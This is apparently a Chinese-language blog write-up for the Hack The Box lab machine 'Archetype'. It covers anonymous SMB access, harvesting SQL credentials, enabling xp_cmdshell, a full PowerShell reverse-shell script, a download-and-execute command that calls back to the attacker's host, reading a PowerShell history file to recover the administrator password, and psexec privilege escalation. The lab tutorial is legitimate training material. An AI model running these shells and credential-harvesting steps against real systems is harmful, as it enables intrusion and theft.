Archetype

开始之前先下一个vpn文件,starting Point  -> Connect to Starting Point ->OpenVPN -> DWONLOAD VPN,然后在kali上执行

openvpn starting_point_xxxxx.ovpn

之后就会获得一个新的IP,用于访问靶机

 

获取靶机的IP

445端口开放,匿名访问samba服务,存在一个backups文件夹

文件夹里面有一个 prod.dtsConfig 文件,将其下载下来,里面存在数据库的账号和密码 ARCHETYPE\sql_svc:M3g4c0rp123 

现在需要连接数据库,下载 impacket  并安装(python3 -m pip install .  或  python2 -m pip install .)用于连接数据库

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

查看权限,返回值会1(true)表示有sysadmin权限

执行以下命令

EXEC sp_configure 'Show Advanced Options', 1;           \\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
reconfigure;                                            \\确认上面的操作
sp_configure;                                           \\查看当前sp_configure配置情况
EXEC sp_configure 'xp_cmdshell', 1                      \\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
reconfigure;                                            \\确认上面的操作
xp_cmdshell "whoami"                                    \\在靶机上调用cmdshell执行whoami

确认可以使用 xp_cmdshell

在kali上建一个 powershell 的脚本用于反弹shell(ip是使用openvpn分发的

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.162",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

然后再用python开一个http服务

监听反弹shell的端口

再利用  xp_cmdshell 执行以下命令,从而获取反弹shell

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.162:8000/shell.ps1\");"

找到该用户的flag

查看控制台的历史命令,将 archetype\backups 映射到T盘 ,并给出了管理员的用户密码administrator:MEGACORP_4dm1n!!

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

直接用impacket的psexec.py连接提权

获得管理员的flag

 

 

参考文章:

https://blog.csdn.net/m0_48066270/article/details/108548784

posted @ 2021-07-13 11:15  高诺琪  阅读(231)  评论(0编辑  收藏  举报